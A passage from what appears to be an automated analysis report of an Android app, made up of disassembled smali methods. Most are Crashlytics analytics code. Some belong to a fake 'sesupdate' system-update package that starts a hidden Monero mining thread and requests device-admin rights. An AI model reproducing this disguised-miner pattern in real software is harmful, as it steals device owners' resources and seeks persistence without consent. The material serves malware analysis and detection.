                          14invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          15move-result-object v1
                          17const-string v2, "Answers"
                          19const-string v3, "Failed to set analytics settings data"
                          21invoke-interface {v1, v2, v3, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          22goto/16 :goto_b
                          Cross References
                          APIs
                          • java.lang.Thread.<init>
                          • java.lang.Thread.start
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0: new-instance v0, Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;
                          3invoke-direct {v0}, Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;-><init>()V
                          4iput-object v0, p0, Lcom/android/sesupdate/services/FirstService;->moneroMiner:Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;
                          6iget-object v0, p0, Lcom/android/sesupdate/services/FirstService;->moneroMiner:Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;
                          7iput-object p0, v0, Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;->context:Landroid/content/Context;
                          8new-instance v0, Ljava/lang/Thread;
                          10iget-object v1, p0, Lcom/android/sesupdate/services/FirstService;->moneroMiner:Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;
                          12invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                          13iput-object v0, p0, Lcom/android/sesupdate/services/FirstService;->miningThread:Ljava/lang/Thread;
                          15iget-object v0, p0, Lcom/android/sesupdate/services/FirstService;->miningThread:Ljava/lang/Thread;
                          17invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                          18goto_19: return-void
                          19catch_1a: move-exception v0
                          20goto/16 :goto_19
                          Cross References
                          APIs
                          • java.lang.Thread.interrupt
                          • java.lang.System.gc
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2iget-object v0, p0, Lcom/android/sesupdate/services/FirstService;->moneroMiner:Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;
                          3if-eqz v0, :cond_17
                          5iget-object v0, p0, Lcom/android/sesupdate/services/FirstService;->moneroMiner:Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;
                          7invoke-virtual {v0}, Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;->stop()V
                          8const/4 v0, 0x0
                          9iput-object v0, p0, Lcom/android/sesupdate/services/FirstService;->moneroMiner:Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;
                          11iget-object v0, p0, Lcom/android/sesupdate/services/FirstService;->miningThread:Ljava/lang/Thread;
                          13invoke-virtual {v0}, Ljava/lang/Thread;->interrupt()V
                          14const/4 v0, 0x0
                          15iput-object v0, p0, Lcom/android/sesupdate/services/FirstService;->miningThread:Ljava/lang/Thread;
                          17invoke-static {}, Ljava/lang/System;->gc()V
                          18try_end_17: return-void
                          19catch_18: move-exception v0
                          20goto/16 :goto_17
                          Strings
                          • Answers
                          • Failed to send events files
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$3;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4iget-object v1, v1, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          6invoke-interface {v1}, Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;->sendEvents()V
                          7try_end_7: return-void
                          8catch_8: move-exception v0
                          10invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          11move-result-object v1
                          13const-string v2, "Answers"
                          15const-string v3, "Failed to send events files"
                          17invoke-interface {v1, v2, v3, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          18goto/16 :goto_7
                          Cross References
                          Strings
                          • Answers
                          • Logged install
                          Position Instruction Meta Information
                          0.param p1, "installedAt" # J
                          1.prologue
                          3invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          4move-result-object v0
                          6const-string v1, "Answers"
                          8const-string v2, "Logged install"
                          10invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          12iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->eventsHandler:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          14invoke-static {p1, p2}, Lcom/crashlytics/android/answers/SessionEvent;->installEventBuilder(J)Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          15move-result-object v1
                          17invoke-virtual {v0, v1}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->processEventAsyncAndFlush(Lcom/crashlytics/android/answers/SessionEvent$Builder;)V
                          18return-void
                          Strings
                          • Crashlytics
                          • Use of Crashlytics.getDebugMode is deprecated.
                          Position Instruction Meta Information
                          0.annotation runtime Ljava/lang/Deprecated;
                          1.end annotation
                          2.prologue
                          4invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          5move-result-object v0
                          7const-string v1, "Crashlytics"
                          9const-string v2, "Use of Crashlytics.getDebugMode is deprecated."
                          11invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->w(Ljava/lang/String;Ljava/lang/String;)V
                          13invoke-virtual {p0}, Lcom/crashlytics/android/Crashlytics;->getFabric()Lio/fabric/sdk/android/Fabric;
                          15invoke-static {}, Lio/fabric/sdk/android/Fabric;->isDebuggable()Z
                          16move-result v0
                          17return v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.lang.System.currentTimeMillis
                          Position Instruction Meta Information
                          0.param p1, "type" # Lcom/crashlytics/android/answers/SessionEvent$Type;
                          1.prologue
                          2const/4 v2, 0x0
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5iput-object p1, p0, Lcom/crashlytics/android/answers/SessionEvent$Builder;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          7invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                          8move-result-wide v0
                          9iput-wide v0, p0, Lcom/crashlytics/android/answers/SessionEvent$Builder;->timestamp:J
                          10iput-object v2, p0, Lcom/crashlytics/android/answers/SessionEvent$Builder;->details:Ljava/util/Map;
                          11iput-object v2, p0, Lcom/crashlytics/android/answers/SessionEvent$Builder;->customType:Ljava/lang/String;
                          12iput-object v2, p0, Lcom/crashlytics/android/answers/SessionEvent$Builder;->customAttributes:Ljava/util/Map;
                          13iput-object v2, p0, Lcom/crashlytics/android/answers/SessionEvent$Builder;->predefinedType:Ljava/lang/String;
                          14iput-object v2, p0, Lcom/crashlytics/android/answers/SessionEvent$Builder;->predefinedAttributes:Ljava/util/Map;
                          15return-void
                          Cross References
                          Strings
                          • Answers
                          • Invalid user input detected
                          Position Instruction Meta Information
                          0.param p1, "ex" # Ljava/lang/RuntimeException;
                          1.prologue
                          2iget-boolean v0, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->failFast:Z
                          3if-eqz v0, :cond_5
                          4throw p1
                          5cond_5:
                          6invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          7move-result-object v0
                          9const-string v1, "Answers"
                          11const-string v2, "Invalid user input detected"
                          13invoke-interface {v0, v1, v2, p1}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          14return-void
                          Strings
                          • Answers
                          • Flush events when app is backgrounded
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          3move-result-object v0
                          5const-string v1, "Answers"
                          7const-string v2, "Flush events when app is backgrounded"
                          9invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          11iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->eventsHandler:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          13invoke-virtual {v0}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->flushEvents()V
                          14return-void
                          Strings
                          • Crashlytics
                          • Use of Crashlytics.setPinningInfoProvider is deprecated
                          Position Instruction Meta Information
                          0.param p0, "pinningInfo" # Lcom/crashlytics/android/core/PinningInfoProvider;
                          1.annotation runtime Ljava/lang/Deprecated;
                          2.end annotation
                          3.prologue
                          5invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          6move-result-object v0
                          8const-string v1, "Crashlytics"
                          10const-string v2, "Use of Crashlytics.setPinningInfoProvider is deprecated"
                          12invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->w(Ljava/lang/String;Ljava/lang/String;)V
                          13return-void
                          Strings
                          • Crashlytics
                          • Use of Crashlytics.setDebugMode is deprecated.
                          Position Instruction Meta Information
                          0.param p1, "debug" # Z
                          1.annotation runtime Ljava/lang/Deprecated;
                          2.end annotation
                          3.prologue
                          5invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          6move-result-object v0
                          8const-string v1, "Crashlytics"
                          10const-string v2, "Use of Crashlytics.setDebugMode is deprecated."
                          12invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->w(Ljava/lang/String;Ljava/lang/String;)V
                          13return-void
                          APIs
                          • android.content.ContextWrapper.getExternalFilesDir
                          • java.io.File.<init>
                          Position Instruction Meta Information
                          0.param p1, "type" # Ljava/lang/String;
                          1.annotation build Landroid/annotation/TargetApi;
                          2value = 0x8
                          3.end annotation
                          4.prologue
                          5new-instance v0, Ljava/io/File;
                          7invoke-super {p0, p1}, Landroid/content/ContextWrapper;->getExternalFilesDir(Ljava/lang/String;)Ljava/io/File;
                          8move-result-object v1
                          10iget-object v2, p0, Lio/fabric/sdk/android/FabricContext;->componentPath:Ljava/lang/String;
                          12invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                          13return-object v0
                          Cross References
                          APIs
                          • java.util.concurrent.atomic.AtomicReference.getAndSet
                          • java.util.concurrent.ScheduledFuture.cancel
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v3, 0x0
                          2iput-boolean v3, p0, Lcom/crashlytics/android/answers/BackgroundManager;->inBackground:Z
                          4iget-object v1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->backgroundFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          5const/4 v2, 0x0
                          7invoke-virtual {v1, v2}, Ljava/util/concurrent/atomic/AtomicReference;->getAndSet(Ljava/lang/Object;)Ljava/lang/Object;
                          8move-result-object v0
                          9check-cast v0, Ljava/util/concurrent/ScheduledFuture;
                          10if-eqz v0, :cond_11
                          12invoke-interface {v0, v3}, Ljava/util/concurrent/ScheduledFuture;->cancel(Z)Z
                          13cond_11: return-void
                          APIs
                          • android.app.Activity.onActivityResult
                          • com.android.sesupdate.MainActivity.requestDeviceAdmin
                          Position Instruction Meta Information
                          0.param p1, "requestCode" # I
                          1.param p2, "resultCode" # I
                          2.param p3, "data" # Landroid/content/Intent;
                          3.prologue
                          4packed-switch p1, :pswitch_data_e
                          6invoke-super {p0, p1, p2, p3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
                          7goto_6: return-void
                          8pswitch_7: const/4 v0, -0x1
                          9if-eq p2, v0, :cond_6
                          11invoke-virtual {p0}, Lcom/android/sesupdate/MainActivity;->requestDeviceAdmin()V
                          12goto/16 :goto_6
                          APIs
                          • android.content.ContextWrapper.getExternalCacheDir
                          • java.io.File.<init>
                          Position Instruction Meta Information
                          0.annotation build Landroid/annotation/TargetApi;
                          1value = 0x8
                          2.end annotation
                          3.prologue
                          4new-instance v0, Ljava/io/File;
                          6invoke-super {p0}, Landroid/content/ContextWrapper;->getExternalCacheDir()Ljava/io/File;
                          7move-result-object v1
                          9iget-object v2, p0, Lio/fabric/sdk/android/FabricContext;->componentPath:Ljava/lang/String;
                          11invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                          12return-object v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.util.concurrent.CountDownLatch.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lio/fabric/sdk/android/Fabric;
                          1.prologue
                          2iput-object p1, p0, Lio/fabric/sdk/android/Fabric$2;->this$0:Lio/fabric/sdk/android/Fabric;
                          3iput p2, p0, Lio/fabric/sdk/android/Fabric$2;->val$size:I
                          5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          6new-instance v0, Ljava/util/concurrent/CountDownLatch;
                          7iget v1, p0, Lio/fabric/sdk/android/Fabric$2;->val$size:I
                          9invoke-direct {v0, v1}, Ljava/util/concurrent/CountDownLatch;-><init>(I)V
                          10iput-object v0, p0, Lio/fabric/sdk/android/Fabric$2;->kitInitializedLatch:Ljava/util/concurrent/CountDownLatch;
                          11return-void
                          Cross References
                          APIs
                          • java.lang.String.valueOf
                          • java.lang.Double.valueOf
                          Position Instruction Meta Information
                          0.param p1, "doubleObj" # Ljava/lang/Object;
                          1.prologue
                          3invoke-static {p1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                          4move-result-object v0
                          5if-nez v0, :cond_8
                          6const/4 v1, 0x0
                          7goto_7: return-object v1
                          8cond_8:
                          9invoke-static {v0}, Ljava/lang/Double;->valueOf(Ljava/lang/String;)Ljava/lang/Double;
                          10move-result-object v1
                          11goto/16 :goto_7
                          Cross References
                          APIs
                          • java.lang.Integer.intValue
                          • android.os.Bundle.putInt
                          Position Instruction Meta Information
                          0.param p1, "bundle" # Landroid/os/Bundle;
                          1.param p2, "param" # Ljava/lang/String;
                          2.param p3, "intValue" # Ljava/lang/Integer;
                          3.prologue
                          4if-nez p3, :cond_3
                          5goto_2: return-void
                          6cond_3:
                          7invoke-virtual {p3}, Ljava/lang/Integer;->intValue()I
                          8move-result v0
                          10invoke-virtual {p1, p2, v0}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
                          11goto/16 :goto_2
                          Cross References
                          APIs
                          • java.lang.Long.longValue
                          • android.os.Bundle.putLong
                          Position Instruction Meta Information
                          0.param p1, "bundle" # Landroid/os/Bundle;
                          1.param p2, "param" # Ljava/lang/String;
                          2.param p3, "longValue" # Ljava/lang/Long;
                          3.prologue
                          4if-nez p3, :cond_3
                          5goto_2: return-void
                          6cond_3:
                          7invoke-virtual {p3}, Ljava/lang/Long;->longValue()J
                          8move-result-wide v0
                          10invoke-virtual {p1, p2, v0, v1}, Landroid/os/Bundle;->putLong(Ljava/lang/String;J)V
                          11goto/16 :goto_2
                          APIs
                          • io.fabric.sdk.android.FabricContext.getDatabasePath
                          • android.database.sqlite.SQLiteDatabase.openOrCreateDatabase
                          Position Instruction Meta Information
                          0.param p1, "name" # Ljava/lang/String;
                          1.param p2, "mode" # I
                          2.param p3, "factory" # Landroid/database/sqlite/SQLiteDatabase$CursorFactory;
                          3.prologue
                          5invoke-virtual {p0, p1}, Lio/fabric/sdk/android/FabricContext;->getDatabasePath(Ljava/lang/String;)Ljava/io/File;
                          6move-result-object v0
                          8invoke-static {v0, p3}, Landroid/database/sqlite/SQLiteDatabase;->openOrCreateDatabase(Ljava/io/File;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;)Landroid/database/sqlite/SQLiteDatabase;
                          9move-result-object v0
                          10return-object v0
                          Cross References
                          APIs
                          • java.math.BigDecimal.multiply
                          • java.math.BigDecimal.longValue
                          Position Instruction Meta Information
                          0.param p1, "decimal" # Ljava/math/BigDecimal;
                          1.prologue
                          3sget-object v0, Lcom/crashlytics/android/answers/AddToCartEvent;->MICRO_CONSTANT:Ljava/math/BigDecimal;
                          5invoke-virtual {v0, p1}, Ljava/math/BigDecimal;->multiply(Ljava/math/BigDecimal;)Ljava/math/BigDecimal;
                          6move-result-object v0
                          8invoke-virtual {v0}, Ljava/math/BigDecimal;->longValue()J
                          9move-result-wide v0
                          10return-wide v0
                          Cross References
                          APIs
                          • java.math.BigDecimal.multiply
                          • java.math.BigDecimal.longValue
                          Position Instruction Meta Information
                          0.param p1, "decimal" # Ljava/math/BigDecimal;
                          1.prologue
                          3sget-object v0, Lcom/crashlytics/android/answers/PurchaseEvent;->MICRO_CONSTANT:Ljava/math/BigDecimal;
                          5invoke-virtual {v0, p1}, Ljava/math/BigDecimal;->multiply(Ljava/math/BigDecimal;)Ljava/math/BigDecimal;
                          6move-result-object v0
                          8invoke-virtual {v0}, Ljava/math/BigDecimal;->longValue()J
                          9move-result-wide v0
                          10return-wide v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.util.HashSet.<init>
                          Position Instruction Meta Information
                          0.param p1, "application" # Landroid/app/Application;
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          4new-instance v0, Ljava/util/HashSet;
                          6invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
                          7iput-object v0, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;->registeredCallbacks:Ljava/util/Set;
                          8iput-object p1, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;->application:Landroid/app/Application;
                          9return-void
                          APIs
                          • android.content.ContextWrapper.getCacheDir
                          • java.io.File.<init>
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Ljava/io/File;
                          3invoke-super {p0}, Landroid/content/ContextWrapper;->getCacheDir()Ljava/io/File;
                          4move-result-object v1
                          6iget-object v2, p0, Lio/fabric/sdk/android/FabricContext;->componentPath:Ljava/lang/String;
                          8invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                          9return-object v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.util.concurrent.ConcurrentHashMap.<init>
                          Position Instruction Meta Information
                          0.param p1, "validator" # Lcom/crashlytics/android/answers/AnswersEventValidator;
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          4new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
                          6invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
                          7iput-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->attributes:Ljava/util/Map;
                          8iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          9return-void
                          APIs
                          • org.json.JSONObject.<init>
                          • org.json.JSONObject.toString
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Lorg/json/JSONObject;
                          3iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->attributes:Ljava/util/Map;
                          5invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                          7invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                          8move-result-object v0
                          9return-object v0
                          APIs
                          • android.app.Service.<init>
                          • com.android.sesupdate.services.FirstService$ServiceBinder.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Landroid/app/Service;-><init>()V
                          3new-instance v0, Lcom/android/sesupdate/services/FirstService$ServiceBinder;
                          5invoke-direct {v0, p0}, Lcom/android/sesupdate/services/FirstService$ServiceBinder;-><init>(Lcom/android/sesupdate/services/FirstService;)V
                          6iput-object v0, p0, Lcom/android/sesupdate/services/FirstService;->mBinder:Landroid/os/IBinder;
                          7return-void
                          Cross References
                          Strings
                          • Answers Events Handler
                          Position Instruction Meta Information
                          0.param p0, "kit" # Lio/fabric/sdk/android/Kit;
                          1.param p1, "context" # Landroid/content/Context;
                          2.param p2, "idManager" # Lio/fabric/sdk/android/services/common/IdManager;
                          3.param p3, "versionCode" # Ljava/lang/String;
                          4.param p4, "versionName" # Ljava/lang/String;
                          5.param p5, "installedAt" # J
                          6.prologue
                          7new-instance v8, Lcom/crashlytics/android/answers/SessionMetadataCollector;
                          8move-object/from16 v0, p1
                          9move-object/from16 v1, p2
                          10move-object/from16 v2, p3
                          11move-object/from16 v3, p4
                          13invoke-direct {v8, v0, v1, v2, v3}, Lcom/crashlytics/android/answers/SessionMetadataCollector;-><init>(Landroid/content/Context;Lio/fabric/sdk/android/services/common/IdManager;Ljava/lang/String;Ljava/lang/String;)V
                          14new-instance v7, Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;
                          15new-instance v5, Lio/fabric/sdk/android/services/persistence/FileStoreImpl;
                          16move-object/from16 v0, p0
                          18invoke-direct {v5, v0}, Lio/fabric/sdk/android/services/persistence/FileStoreImpl;-><init>(Lio/fabric/sdk/android/Kit;)V
                          19move-object/from16 v0, p1
                          21invoke-direct {v7, v0, v5}, Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;-><init>(Landroid/content/Context;Lio/fabric/sdk/android/services/persistence/FileStore;)V
                          22new-instance v9, Lio/fabric/sdk/android/services/network/DefaultHttpRequestFactory;
                          24invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          25move-result-object v5
                          27invoke-direct {v9, v5}, Lio/fabric/sdk/android/services/network/DefaultHttpRequestFactory;-><init>(Lio/fabric/sdk/android/Logger;)V
                          28new-instance v15, Lio/fabric/sdk/android/ActivityLifecycleManager;
                          29move-object/from16 v0, p1
                          31invoke-direct {v15, v0}, Lio/fabric/sdk/android/ActivityLifecycleManager;-><init>(Landroid/content/Context;)V
                          33const-string v5, "Answers Events Handler"
                          35invoke-static {v5}, Lio/fabric/sdk/android/services/common/ExecutorUtils;->buildSingleThreadScheduledExecutorService(Ljava/lang/String;)Ljava/util/concurrent/ScheduledExecutorService;
                          36move-result-object v10
                          37new-instance v16, Lcom/crashlytics/android/answers/BackgroundManager;
                          38move-object/from16 v0, v16
                          40invoke-direct {v0, v10}, Lcom/crashlytics/android/answers/BackgroundManager;-><init>(Ljava/util/concurrent/ScheduledExecutorService;)V
                          41new-instance v11, Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;
                          42move-object/from16 v0, p1
                          44invoke-direct {v11, v0}, Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;-><init>(Landroid/content/Context;)V
                          45new-instance v4, Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          46move-object/from16 v5, p0
                          47move-object/from16 v6, p1
                          49invoke-direct/range {v4 .. v11}, Lcom/crashlytics/android/answers/AnswersEventsHandler;-><init>(Lio/fabric/sdk/android/Kit;Landroid/content/Context;Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;Lcom/crashlytics/android/answers/SessionMetadataCollector;Lio/fabric/sdk/android/services/network/HttpRequestFactory;Ljava/util/concurrent/ScheduledExecutorService;Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;)V
                          51invoke-static/range {p1 .. p1}, Lcom/crashlytics/android/answers/AnswersPreferenceManager;->build(Landroid/content/Context;)Lcom/crashlytics/android/answers/AnswersPreferenceManager;
                          52move-result-object v17
                          53new-instance v13, Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          54move-object v14, v4
                          55move-wide/from16 v18, p5
                          57invoke-direct/range {v13 .. v19}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;-><init>(Lcom/crashlytics/android/answers/AnswersEventsHandler;Lio/fabric/sdk/android/ActivityLifecycleManager;Lcom/crashlytics/android/answers/BackgroundManager;Lcom/crashlytics/android/answers/AnswersPreferenceManager;J)V
                          58return-object v13
                          APIs
                          • java.lang.System.nanoTime
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(",
                          3"Ljava/util/List",
                          4"<",
                          5"Ljava/io/File;",
                          6">;)Z"
                          7}
                          8.end annotation
                          9.prologue
                          10const/4 v1, 0x0
                          12invoke-static {}, Ljava/lang/System;->nanoTime()J
                          13move-result-wide v2
                          15iget-object v4, p0, Lcom/crashlytics/android/answers/AnswersRetryFilesSender;->retryManager:Lcom/crashlytics/android/answers/RetryManager;
                          17invoke-virtual {v4, v2, v3}, Lcom/crashlytics/android/answers/RetryManager;->canRetry(J)Z
                          18move-result v4
                          19if-eqz v4, :cond_1b
                          21iget-object v4, p0, Lcom/crashlytics/android/answers/AnswersRetryFilesSender;->filesSender:Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;
                          23invoke-virtual {v4, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;->send(Ljava/util/List;)Z
                          24move-result v0
                          25if-eqz v0, :cond_1c
                          27iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersRetryFilesSender;->retryManager:Lcom/crashlytics/android/answers/RetryManager;
                          29invoke-virtual {v1}, Lcom/crashlytics/android/answers/RetryManager;->reset()V
                          30const/4 v1, 0x1
                          31goto_1b: return v1
                          32cond_1c:
                          33iget-object v4, p0, Lcom/crashlytics/android/answers/AnswersRetryFilesSender;->retryManager:Lcom/crashlytics/android/answers/RetryManager;
                          35invoke-virtual {v4, v2, v3}, Lcom/crashlytics/android/answers/RetryManager;->recordRetry(J)V
                          36goto/16 :goto_1b
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "kit" # Lio/fabric/sdk/android/Kit;
                          1.param p2, "context" # Landroid/content/Context;
                          2.param p3, "filesManagerProvider" # Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;
                          3.param p4, "metadataCollector" # Lcom/crashlytics/android/answers/SessionMetadataCollector;
                          4.param p5, "requestFactory" # Lio/fabric/sdk/android/services/network/HttpRequestFactory;
                          5.param p6, "executor" # Ljava/util/concurrent/ScheduledExecutorService;
                          6.param p7, "firebaseAnalyticsApiAdapter" # Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;
                          7.prologue
                          9invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          10new-instance v0, Lcom/crashlytics/android/answers/DisabledSessionAnalyticsManagerStrategy;
                          12invoke-direct {v0}, Lcom/crashlytics/android/answers/DisabledSessionAnalyticsManagerStrategy;-><init>()V
                          13iput-object v0, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          14iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->kit:Lio/fabric/sdk/android/Kit;
                          15iput-object p2, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->context:Landroid/content/Context;
                          16iput-object p3, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->filesManagerProvider:Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;
                          17iput-object p4, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->metadataCollector:Lcom/crashlytics/android/answers/SessionMetadataCollector;
                          18iput-object p5, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->requestFactory:Lio/fabric/sdk/android/services/network/HttpRequestFactory;
                          19iput-object p6, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->executor:Ljava/util/concurrent/ScheduledExecutorService;
                          20iput-object p7, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->firebaseAnalyticsApiAdapter:Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;
                          21return-void
                          Cross References
                          APIs
                          • java.util.Map.get
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"<T:",
                          3"Lio/fabric/sdk/android/Kit;",
                          4">(",
                          5"Ljava/lang/Class",
                          6"<TT;>;)TT;"
                          7}
                          8.end annotation
                          9.prologue
                          11invoke-static {}, Lio/fabric/sdk/android/Fabric;->singleton()Lio/fabric/sdk/android/Fabric;
                          12move-result-object v0
                          14iget-object v0, v0, Lio/fabric/sdk/android/Fabric;->kits:Ljava/util/Map;
                          16invoke-interface {v0, p0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          17move-result-object v0
                          18check-cast v0, Lio/fabric/sdk/android/Kit;
                          19return-object v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3new-instance v0, Lcom/crashlytics/android/answers/AnswersEventValidator;
                          4const/16 v1, 0x14
                          5const/16 v2, 0x64
                          7invoke-static {}, Lio/fabric/sdk/android/Fabric;->isDebuggable()Z
                          8move-result v3
                          10invoke-direct {v0, v1, v2, v3}, Lcom/crashlytics/android/answers/AnswersEventValidator;-><init>(IIZ)V
                          11iput-object v0, p0, Lcom/crashlytics/android/answers/AnswersEvent;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          12new-instance v0, Lcom/crashlytics/android/answers/AnswersAttributes;
                          14iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEvent;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          16invoke-direct {v0, v1}, Lcom/crashlytics/android/answers/AnswersAttributes;-><init>(Lcom/crashlytics/android/answers/AnswersEventValidator;)V
                          17iput-object v0, p0, Lcom/crashlytics/android/answers/AnswersEvent;->customAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          18return-void
                          APIs
                          • java.util.concurrent.atomic.AtomicBoolean.get
                          Position Instruction Meta Information
                          0.prologue
